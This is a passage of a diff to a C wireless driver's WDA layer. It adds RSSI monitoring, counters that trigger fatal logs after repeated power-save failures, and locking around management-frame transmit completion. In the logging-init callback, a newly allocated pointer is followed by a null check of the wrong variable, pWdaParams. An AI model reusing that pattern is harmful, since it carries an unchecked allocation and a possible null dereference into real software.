WDA_RssiMonitorStopRspCallback(WDI_RssiMonitorStopRspParamType *wdiRsp, + void* pUserData) +{ + tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; + tSirRssiMonitorReq *pRssiMonitorReqParams; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "<------ %s " ,__func__); + + if(NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams received NULL", __func__); + VOS_ASSERT(0); + return ; + } + + if(NULL == pWdaParams->wdaMsgParam) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams->wdaMsgParam is NULL", __func__); + VOS_ASSERT(0); + vos_mem_free(pWdaParams); + return ; + } + + pRssiMonitorReqParams = (tSirRssiMonitorReq *)pWdaParams->wdaMsgParam; + + if(pRssiMonitorReqParams->rssiMonitorCallback) + { + pRssiMonitorReqParams->rssiMonitorCallback( + pRssiMonitorReqParams->rssiMonitorCbContext, + CONVERT_WDI2VOS_STATUS(wdiRsp->status)); + } + else + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pFWLoggingInitParams callback is NULL", __func__); + } + + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams); + + return; +} + +/* + * FUNCTION: WDA_RssiMonitorStartRspCallback + * recieves Rssi Monitor start response from FW + */ +void WDA_RssiMonitorStartRspCallback(WDI_RssiMonitorStartRspParamType* wdiRsp, + void* pUserData) +{ + tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; + tSirRssiMonitorReq *pRssiMonitorReqParams; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "<------ %s " ,__func__); + + if(NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams received NULL", __func__); + VOS_ASSERT(0); + return ; + } + + if(NULL == pWdaParams->wdaMsgParam) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams->wdaMsgParam is NULL", __func__); + VOS_ASSERT(0); + vos_mem_free(pWdaParams); + return ; + } + + pRssiMonitorReqParams = (tSirRssiMonitorReq *)pWdaParams->wdaMsgParam; + + if(pRssiMonitorReqParams->rssiMonitorCallback) + { + pRssiMonitorReqParams->rssiMonitorCallback( + pRssiMonitorReqParams->rssiMonitorCbContext, + CONVERT_WDI2VOS_STATUS(wdiRsp->status)); + } + else + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pFWLoggingInitParams callback is NULL", __func__); + } + + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams); + + return; +} + /* * FUNCTION: WDA_FWLoggingInitRspCallback * recieves Mgmt Logging init response from FW @@ -5532,6 +5849,7 @@ void WDA_FWLoggingInitRspCallback(WDI_FWLoggingInitRspParamType* wdiRsp, { tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; tSirFWLoggingInitParam *pFWLoggingInitParams; + tAniLoggingInitRsp *pLoggingInitRsp; VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, "<------ %s " ,__func__); @@ -5553,13 +5871,24 @@ void WDA_FWLoggingInitRspCallback(WDI_FWLoggingInitRspParamType* wdiRsp, return ; } + pLoggingInitRsp = (tAniLoggingInitRsp *)vos_mem_malloc(sizeof(tAniLoggingInitRsp)) ; + if(NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure for pLoggingInitRsp", __func__); + VOS_ASSERT(0); + vos_mem_free(pWdaParams); + return; + } + pFWLoggingInitParams = (tSirFWLoggingInitParam *)pWdaParams->wdaMsgParam; + vos_mem_copy(pLoggingInitRsp, wdiRsp, sizeof(tAniLoggingInitRsp)); if(pFWLoggingInitParams->fwlogInitCallback) { pFWLoggingInitParams->fwlogInitCallback( pFWLoggingInitParams->fwlogInitCbContext, - CONVERT_WDI2VOS_STATUS(wdiRsp->status)); + pLoggingInitRsp); } else { @@ -5567,6 +5896,7 @@ void WDA_FWLoggingInitRspCallback(WDI_FWLoggingInitRspParamType* wdiRsp, "%s: pFWLoggingInitParams callback is NULL", __func__); } + vos_mem_free(pLoggingInitRsp); vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams->wdaMsgParam); vos_mem_free(pWdaParams); @@ -6779,7 +7109,7 @@ VOS_STATUS WDA_ProcessAddBASessionReq(tWDA_CbContext *pWDA, if((VOS_STATUS_SUCCESS != WDA_TL_GET_STA_STATE(pWDA->pVosContext, pAddBAReqParams->staIdx, &tlSTAState)) || ((WLANTL_STA_CONNECTED != tlSTAState) && (WLANTL_STA_AUTHENTICATED != tlSTAState))) { - VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_WARN, "Peer staIdx %d hasn't established yet(%d). Send ADD BA failure to PE.", pAddBAReqParams->staIdx, tlSTAState ); status = WDI_STATUS_E_NOT_ALLOWED; pAddBAReqParams->status = @@ -8559,8 +8889,6 @@ VOS_STATUS WDA_ProcessAggrAddTSReq(tWDA_CbContext *pWDA, { VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, "Failure in ADD TS REQ Params WDI API, free all the memory " ); - vos_mem_free(pWdaParams->wdaWdiApiMsgParam) ; - vos_mem_free(pWdaParams); /* send the failure response back to PE*/ for( i = 0; i < HAL_QOS_NUM_AC_MAX; i++ ) @@ -8570,6 +8898,10 @@ VOS_STATUS WDA_ProcessAggrAddTSReq(tWDA_CbContext *pWDA, WDA_SendMsg(pWdaParams->pWdaContext, WDA_AGGR_QOS_RSP, (void *)pAggrAddTsReqParams , 0) ; + + vos_mem_free(pWdaParams->wdaWdiApiMsgParam) ; + vos_mem_free(pWdaParams); + } return CONVERT_WDI2VOS_STATUS(status) ; } @@ -8607,6 +8939,26 @@ void WDA_EnterImpsRspCallback(WDI_Status status, void* pUserData) vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams); + if (WDI_STATUS_SUCCESS != status) + { + pWDA->failureCounts.enterImpsFailureCount++; + if (BMPS_IMPS_FAILURE_REPORT_THRESHOLD == + pWDA->failureCounts.enterImpsFailureCount) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Status %d fail count %d", __func__, status, + pWDA->failureCounts.enterImpsFailureCount); + pWDA->failureCounts.enterImpsFailureCount = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_ENTER_IMPS_BMPS_FAIL, + FALSE, TRUE); + } + } + else + { + pWDA->failureCounts.enterImpsFailureCount = 0; + } WDA_SendMsg(pWDA, WDA_ENTER_IMPS_RSP, NULL , status) ; return ; } @@ -8651,6 +9003,19 @@ void WDA_EnterImpsReqCallback(WDI_Status wdiStatus, void* pUserData) { vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams); + pWDA->failureCounts.enterImpsFailureCount++; + if (BMPS_IMPS_FAILURE_REPORT_THRESHOLD == + pWDA->failureCounts.enterImpsFailureCount) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: wdiStatus %d fail count %d", __func__, wdiStatus, + pWDA->failureCounts.enterImpsFailureCount); + pWDA->failureCounts.enterImpsFailureCount = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_ENTER_IMPS_BMPS_FAIL, + FALSE, TRUE); + } WDA_SendMsg(pWDA, WDA_ENTER_IMPS_RSP, NULL, CONVERT_WDI2SIR_STATUS(wdiStatus)); } @@ -8740,6 +9105,27 @@ void WDA_ExitImpsRespCallback(WDI_Status status, void* pUserData) vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams); + if (WDI_STATUS_SUCCESS != status) + { + pWDA->failureCounts.exitImpsFailureCount++; + if (BMPS_IMPS_FAILURE_REPORT_THRESHOLD == + pWDA->failureCounts.exitImpsFailureCount) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Status %d fail count %d", __func__, + status, + pWDA->failureCounts.exitImpsFailureCount); + pWDA->failureCounts.exitImpsFailureCount = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_EXIT_IMPS_BMPS_FAIL, + FALSE, TRUE); + } + } + else + { + pWDA->failureCounts.exitImpsFailureCount = 0; + } WDA_SendMsg(pWDA, WDA_EXIT_IMPS_RSP, NULL , (status)); return; @@ -8751,6 +9137,7 @@ void WDA_ExitImpsRespCallback(WDI_Status status, void* pUserData) void WDA_ExitImpsReqCallback(WDI_Status status, void* pUserData) { tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; + tWDA_CbContext *pWDA; VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, "<------ %s " ,__func__); if(NULL == pWdaParams) @@ -8760,11 +9147,26 @@ void WDA_ExitImpsReqCallback(WDI_Status status, void* pUserData) VOS_ASSERT(0); return; } - + pWDA = (tWDA_CbContext *)pWdaParams->pWdaContext; if (IS_WDI_STATUS_FAILURE(status)) { vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams); + + pWDA->failureCounts.exitImpsFailureCount++; + if (BMPS_IMPS_FAILURE_REPORT_THRESHOLD == + pWDA->failureCounts.exitImpsFailureCount) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: wdiStatus %d fail count %d", __func__, + status, + pWDA->failureCounts.exitImpsFailureCount); + pWDA->failureCounts.exitImpsFailureCount = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_EXIT_IMPS_BMPS_FAIL, + FALSE, TRUE); + } if (WDI_STATUS_DEV_INTERNAL_FAILURE == status) { VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, @@ -8869,6 +9271,27 @@ void WDA_EnterBmpsRespCallback(WDI_EnterBmpsRspParamsType *pwdiEnterBmpsRsp, voi vos_mem_free(pWdaParams->wdaWdiApiMsgParam) ; vos_mem_free(pWdaParams) ; + if (eHAL_STATUS_SUCCESS != pEnterBmpsRspParams->status) + { + pWDA->failureCounts.enterBmpsFailureCount++; + if (BMPS_IMPS_FAILURE_REPORT_THRESHOLD == + pWDA->failureCounts.enterBmpsFailureCount) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: wdiStatus %d fail count %d", __func__, + pwdiEnterBmpsRsp->wdiStatus, + pWDA->failureCounts.enterBmpsFailureCount); + pWDA->failureCounts.enterBmpsFailureCount = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_ENTER_IMPS_BMPS_FAIL, + FALSE, TRUE); + } + } + else + { + pWDA->failureCounts.enterBmpsFailureCount = 0; + } WDA_SendMsg(pWDA, WDA_ENTER_BMPS_RSP, (void *)pEnterBmpsRspParams , 0); return ; @@ -8911,6 +9334,20 @@ void WDA_EnterBmpsReqCallback(WDI_Status wdiStatus, void* pUserData) { vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams); + pWDA->failureCounts.enterBmpsFailureCount++; + if (BMPS_IMPS_FAILURE_REPORT_THRESHOLD == + pWDA->failureCounts.enterBmpsFailureCount) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: wdiStatus %d fail count %d", __func__, + wdiStatus, + pWDA->failureCounts.enterBmpsFailureCount); + pWDA->failureCounts.enterBmpsFailureCount = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_ENTER_IMPS_BMPS_FAIL, + FALSE, TRUE); + } WDA_SendMsg(pWDA, WDA_ENTER_BMPS_RSP, (void *)pEnterBmpsRspParams, 0); } @@ -9039,7 +9476,29 @@ void WDA_ExitBmpsRespCallback(WDI_ExitBmpsRspParamsType *pwdiExitBmpsRsp, void* pExitBmpsRspParams->status = (pwdiExitBmpsRsp->wdiStatus); vos_mem_free(pWdaParams->wdaWdiApiMsgParam); - vos_mem_free(pWdaParams) ; + vos_mem_free(pWdaParams); + + if (WDI_STATUS_SUCCESS != pwdiExitBmpsRsp->wdiStatus) + { + pWDA->failureCounts.exitBmpsFailureCount++; + if (BMPS_IMPS_FAILURE_REPORT_THRESHOLD == + pWDA->failureCounts.exitBmpsFailureCount) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Status %d fail count %d", __func__, + pExitBmpsRspParams->status, + pWDA->failureCounts.exitBmpsFailureCount); + pWDA->failureCounts.exitBmpsFailureCount = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_EXIT_IMPS_BMPS_FAIL, + FALSE, TRUE); + } + } + else + { + pWDA->failureCounts.exitBmpsFailureCount = 0; + } WDA_SendMsg(pWDA, WDA_EXIT_BMPS_RSP, (void *)pExitBmpsRspParams , 0) ; return ; @@ -9082,6 +9541,20 @@ void WDA_ExitBmpsReqCallback(WDI_Status wdiStatus, void* pUserData) { vos_mem_free(pWdaParams->wdaWdiApiMsgParam); vos_mem_free(pWdaParams); + pWDA->failureCounts.exitBmpsFailureCount++; + if (BMPS_IMPS_FAILURE_REPORT_THRESHOLD == + pWDA->failureCounts.exitBmpsFailureCount) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: wdiStatus %d fail count %d", __func__, + wdiStatus, + pWDA->failureCounts.exitBmpsFailureCount); + pWDA->failureCounts.exitBmpsFailureCount = 0; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_EXIT_IMPS_BMPS_FAIL, + FALSE, TRUE); + } WDA_SendMsg(pWDA, WDA_EXIT_BMPS_RSP, (void *)pExitBmpsRspParams, 0); } @@ -10243,6 +10716,149 @@ VOS_STATUS WDA_ProcessFWLoggingInitReq(tWDA_CbContext *pWDA, return status; } +/* + * FUNCTION: WDA_ProcessStartRssiMonitorReq + * + */ +VOS_STATUS WDA_ProcessStartRssiMonitorReq(tWDA_CbContext *pWDA, + tSirRssiMonitorReq *pRssiMonitorReqParam) +{ + VOS_STATUS status = VOS_STATUS_SUCCESS; + WDI_Status wstatus; + WDI_RssiMonitorReqInfoType *wdiRssiMonitorInfo; + tWDA_ReqParams *pWdaParams ; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "------> %s " ,__func__); + + /* Sanity Check*/ + if(NULL == pRssiMonitorReqParam) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pRssiMonitorReqParam received NULL", __func__); + VOS_ASSERT(0) ; + return VOS_STATUS_E_FAULT; + } + + wdiRssiMonitorInfo = (WDI_RssiMonitorReqInfoType *)vos_mem_malloc( + sizeof(WDI_RssiMonitorReqInfoType)); + if(NULL == wdiRssiMonitorInfo) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(pRssiMonitorReqParam); + return VOS_STATUS_E_NOMEM; + } + + pWdaParams = (tWDA_ReqParams *)vos_mem_malloc(sizeof(tWDA_ReqParams)) ; + if(NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(wdiRssiMonitorInfo); + vos_mem_free(pRssiMonitorReqParam); + return VOS_STATUS_E_NOMEM; + } + + wdiRssiMonitorInfo->requestId = pRssiMonitorReqParam->requestId; + wdiRssiMonitorInfo->minRssi = pRssiMonitorReqParam->minRssi; + wdiRssiMonitorInfo->maxRssi = pRssiMonitorReqParam->maxRssi; + vos_mem_copy(wdiRssiMonitorInfo->currentBssId, + &(pRssiMonitorReqParam->currentBssId), sizeof(tSirMacAddr)); + + pWdaParams->pWdaContext = pWDA; + pWdaParams->wdaMsgParam = pRssiMonitorReqParam; + pWdaParams->wdaWdiApiMsgParam = (void *)wdiRssiMonitorInfo; + + wstatus = WDI_StartRssiMonitorReq(wdiRssiMonitorInfo, + (WDI_RssiMonitorStartRspCb)WDA_RssiMonitorStartRspCallback, + pWdaParams); + if(IS_WDI_STATUS_FAILURE(wstatus)) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failure in Mgmt Logging init REQ WDI API, free all the memory" ); + status = CONVERT_WDI2VOS_STATUS(wstatus); + vos_mem_free(pWdaParams->wdaWdiApiMsgParam) ; + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams); + } + + return status; +} + +/* + * FUNCTION: WDA_ProcessStopRssiMonitorReq + * + */ +VOS_STATUS WDA_ProcessStopRssiMonitorReq(tWDA_CbContext *pWDA, + tSirRssiMonitorReq *pRssiMonitorReqParam) +{ + VOS_STATUS status = VOS_STATUS_SUCCESS; + WDI_Status wstatus; + WDI_RssiMonitorReqInfoType *wdiRssiMonitorInfo; + tWDA_ReqParams *pWdaParams ; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "------> %s " ,__func__); + + /* Sanity Check*/ + if(NULL == pRssiMonitorReqParam) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pRssiMonitorReqParam received NULL", __func__); + VOS_ASSERT(0) ; + return VOS_STATUS_E_FAULT; + } + + wdiRssiMonitorInfo = (WDI_RssiMonitorReqInfoType *)vos_mem_malloc( + sizeof(WDI_RssiMonitorReqInfoType)); + if(NULL == wdiRssiMonitorInfo) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(pRssiMonitorReqParam); + return VOS_STATUS_E_NOMEM; + } + + pWdaParams = (tWDA_ReqParams *)vos_mem_malloc(sizeof(tWDA_ReqParams)) ; + if(NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(wdiRssiMonitorInfo); + vos_mem_free(pRssiMonitorReqParam); + return VOS_STATUS_E_NOMEM; + } + + wdiRssiMonitorInfo->requestId = pRssiMonitorReqParam->requestId; + vos_mem_copy(wdiRssiMonitorInfo->currentBssId, + &(pRssiMonitorReqParam->currentBssId), sizeof(tSirMacAddr)); + + pWdaParams->pWdaContext = pWDA; + pWdaParams->wdaMsgParam = pRssiMonitorReqParam; + pWdaParams->wdaWdiApiMsgParam = (void *)wdiRssiMonitorInfo; + + wstatus = WDI_StopRssiMonitorReq(wdiRssiMonitorInfo, + (WDI_RssiMonitorStopRspCb)WDA_RssiMonitorStopRspCallback, + pWdaParams); + if(IS_WDI_STATUS_FAILURE(wstatus)) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failure in Mgmt Logging init REQ WDI API, free all the memory" ); + status = CONVERT_WDI2VOS_STATUS(wstatus); + vos_mem_free(pWdaParams->wdaWdiApiMsgParam) ; + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams); + } + + return status; +} + + /* * FUNCTION: WDA_WdiIndicationCallback * @@ -12664,7 +13280,10 @@ void WDA_HALDumpCmdCallback(WDI_HALDumpCmdRspParamsType *wdiRspParams, VOS_ASSERT(0) ; return ; } - + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "%s: WDA HAL DUMP Resp Received",__func__); + pWDA = pWdaParams->pWdaContext; buffer = (tANI_U8 *)pWdaParams->wdaMsgParam; if(wdiRspParams->usBufferLen > 0) @@ -12754,6 +13373,10 @@ VOS_STATUS WDA_HALDumpCmdReq(tpAniSirGlobal pMac, tANI_U32 cmd, /* store Params pass it to WDI */ pWdaParams->wdaWdiApiMsgParam = (void *)wdiHALDumpCmdReqParam ; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "%s: WDA HAL DUMP Command sent",__func__); + /* Send command to WDI */ status = WDI_HALDumpCmdReq(wdiHALDumpCmdReqParam, WDA_HALDumpCmdCallback, pWdaParams); @@ -12774,7 +13397,9 @@ VOS_STATUS WDA_HALDumpCmdReq(tpAniSirGlobal pMac, tANI_U32 cmd, VOS_TRACE( VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, "%s: WDA_HALDUMP reporting other error",__func__); } - VOS_ASSERT(0); + if (!(vos_isLoadUnloadInProgress() || + vos_is_logp_in_progress(VOS_MODULE_ID_VOSS, NULL))) + VOS_BUG(0); } } return status; @@ -12931,6 +13556,56 @@ VOS_STATUS WDA_ProcessDelPeriodicTxPtrnInd(tWDA_CbContext *pWDA, return CONVERT_WDI2VOS_STATUS(wdiStatus); } +/* + * FUNCTION: WDA_ProcessRateUpdateInd + * + */ +VOS_STATUS WDA_ProcessRateUpdateInd(tWDA_CbContext *pWDA, + tSirRateUpdateInd *pRateUpdateParams) +{ + WDI_Status wdiStatus; + WDI_RateUpdateIndParams rateUpdateParams; + + vos_mem_copy(rateUpdateParams.bssid, + pRateUpdateParams->bssid, sizeof(tSirMacAddr)); + + rateUpdateParams.ucastDataRateTxFlag = + pRateUpdateParams->ucastDataRateTxFlag; + rateUpdateParams.rmcDataRateTxFlag = + pRateUpdateParams->rmcDataRateTxFlag; + rateUpdateParams.mcastDataRate24GHzTxFlag = + pRateUpdateParams->mcastDataRate24GHzTxFlag; + rateUpdateParams.mcastDataRate5GHzTxFlag = + pRateUpdateParams->mcastDataRate5GHzTxFlag; + + rateUpdateParams.ucastDataRate = pRateUpdateParams->ucastDataRate; + rateUpdateParams.rmcDataRate = + pRateUpdateParams->rmcDataRate; + rateUpdateParams.mcastDataRate24GHz = pRateUpdateParams->mcastDataRate24GHz; + rateUpdateParams.mcastDataRate5GHz = pRateUpdateParams->mcastDataRate5GHz; + + rateUpdateParams.wdiReqStatusCB = WDA_WdiIndicationCallback; + rateUpdateParams.pUserData = pWDA; + + wdiStatus = WDI_RateUpdateInd(&rateUpdateParams); + + if (WDI_STATUS_PENDING == wdiStatus) + { + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "Pending received for %s:%d", __func__, __LINE__ ); + } + else if (WDI_STATUS_SUCCESS_SYNC != wdiStatus) + { + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failure in %s:%d", __func__, __LINE__ ); + } + + vos_mem_free(pRateUpdateParams); + + return CONVERT_WDI2VOS_STATUS(wdiStatus); +} + + #ifdef FEATURE_WLAN_BATCH_SCAN /* * FUNCTION: WDA_ProcessStopBatchScanInd @@ -13260,55 +13935,6 @@ VOS_STATUS WDA_ProcessHT40OBSSStopScanInd(tWDA_CbContext *pWDA, } return CONVERT_WDI2VOS_STATUS(status) ; } -/* - * FUNCTION: WDA_ProcessRateUpdateInd - * - */ -VOS_STATUS WDA_ProcessRateUpdateInd(tWDA_CbContext *pWDA, - tSirRateUpdateInd *pRateUpdateParams) -{ - WDI_Status wdiStatus; - WDI_RateUpdateIndParams rateUpdateParams; - - vos_mem_copy(rateUpdateParams.bssid, - pRateUpdateParams->bssid, sizeof(tSirMacAddr)); - - rateUpdateParams.ucastDataRateTxFlag = - pRateUpdateParams->ucastDataRateTxFlag; - rateUpdateParams.reliableMcastDataRateTxFlag = - pRateUpdateParams->reliableMcastDataRateTxFlag; - rateUpdateParams.mcastDataRate24GHzTxFlag = - pRateUpdateParams->mcastDataRate24GHzTxFlag; - rateUpdateParams.mcastDataRate5GHzTxFlag = - pRateUpdateParams->mcastDataRate5GHzTxFlag; - - rateUpdateParams.ucastDataRate = pRateUpdateParams->ucastDataRate; - rateUpdateParams.reliableMcastDataRate = - pRateUpdateParams->reliableMcastDataRate; - rateUpdateParams.mcastDataRate24GHz = pRateUpdateParams->mcastDataRate24GHz; - rateUpdateParams.mcastDataRate5GHz = pRateUpdateParams->mcastDataRate5GHz; - - rateUpdateParams.wdiReqStatusCB = WDA_WdiIndicationCallback; - rateUpdateParams.pUserData = pWDA; - - wdiStatus = WDI_RateUpdateInd(&rateUpdateParams); - - if (WDI_STATUS_PENDING == wdiStatus) - { - VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, - "Pending received for %s:%d", __func__, __LINE__ ); - } - else if (WDI_STATUS_SUCCESS_SYNC != wdiStatus) - { - VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, - "Failure in %s:%d", __func__, __LINE__ ); - } - - vos_mem_free(pRateUpdateParams); - - return CONVERT_WDI2VOS_STATUS(wdiStatus); -} - /* * ------------------------------------------------------------------------- * DATA interface with WDI for Mgmt Frames @@ -13324,7 +13950,7 @@ VOS_STATUS WDA_TxComplete( v_PVOID_t pVosContext, vos_pkt_t *pData, tWDA_CbContext *wdaContext= (tWDA_CbContext *)VOS_GET_WDA_CTXT(pVosContext); tpAniSirGlobal pMac = (tpAniSirGlobal)VOS_GET_MAC_CTXT((void *)pVosContext) ; - tANI_U64 uUserData; + uintptr_t uUserData; VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, "Enter:%s", __func__); @@ -13338,6 +13964,7 @@ VOS_STATUS WDA_TxComplete( v_PVOID_t pVosContext, vos_pkt_t *pData, return VOS_STATUS_E_FAILURE; } + vos_lock_acquire(&wdaContext->mgmt_pkt_lock); /*Check if frame was timed out or not*/ vos_pkt_get_user_data_ptr( pData, VOS_PKT_USER_DATA_ID_WDA, (v_PVOID_t)&uUserData); @@ -13348,7 +13975,8 @@ VOS_STATUS WDA_TxComplete( v_PVOID_t pVosContext, vos_pkt_t *pData, VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_WARN, "%s: MGMT Frame Tx timed out", __func__); - vos_pkt_return_packet(pData); + vos_pkt_return_packet(pData); + vos_lock_release(&wdaContext->mgmt_pkt_lock); return VOS_STATUS_SUCCESS; } @@ -13366,9 +13994,17 @@ VOS_STATUS WDA_TxComplete( v_PVOID_t pVosContext, vos_pkt_t *pData, "%s:packet (%p) is already freed", __func__, pData); //Return from here since we reaching here because the packet already timeout + vos_lock_release(&wdaContext->mgmt_pkt_lock); return status; } } + else { + wdaContext->mgmt_pktfree_fail++; + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s:packet (%p) userData (%lx) is not freed", + __func__, pData, uUserData); + } + vos_lock_release(&wdaContext->mgmt_pkt_lock); /* * Trigger the event to bring the HAL TL Tx complete function to come @@ -13580,26 +14216,30 @@ VOS_STATUS WDA_TxPacket(tWDA_CbContext *pWDA, VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, "%s: Status %d when waiting for TX Frame Event", __func__, status); - + vos_lock_acquire(&pWDA->mgmt_pkt_lock); /*Tag Frame as timed out for later deletion*/ vos_pkt_set_user_data_ptr( (vos_pkt_t *)pFrmBuf, VOS_PKT_USER_DATA_ID_WDA, (v_PVOID_t)WDA_TL_TX_MGMT_TIMED_OUT); pWDA->pTxCbFunc = NULL; /*To stop the limTxComplete being called again , after the packet gets completed(packet freed once)*/ + vos_atomic_set((uintptr_t*)&pWDA->VosPacketToFree, (uintptr_t)WDA_TX_PACKET_FREED); + + /* + * Memory barrier to ensure pFrmBuf is set before TX thread access it in + * TX completion call back + */ + VOS_SMP_MB; + vos_lock_release(&pWDA->mgmt_pkt_lock); + /* TX MGMT fail with COMP timeout, try to detect DXE stall */ WDA_TransportChannelDebug(pMac, 1, 0); - /* check whether the packet was freed already,so need not free again when - * TL calls the WDA_Txcomplete routine - */ - vos_atomic_set((uintptr_t*)&pWDA->VosPacketToFree, (uintptr_t)WDA_TX_PACKET_FREED); - /*if(vos_atomic_set(uintptr_t *)&pWDA->VosPacketToFree, (uintptr_t)WDA_TX_PACKET_FREED) == (v_U32_t)pFrmBuf) - { - pCompFunc(VOS_GET_MAC_CTXT(pWDA->pVosContext), (vos_pkt_t *)pFrmBuf); - } */ - - WLANTL_TLDebugMessage(WLANTL_DEBUG_FW_CLEANUP); + if (vos_isFatalEventEnabled()) + 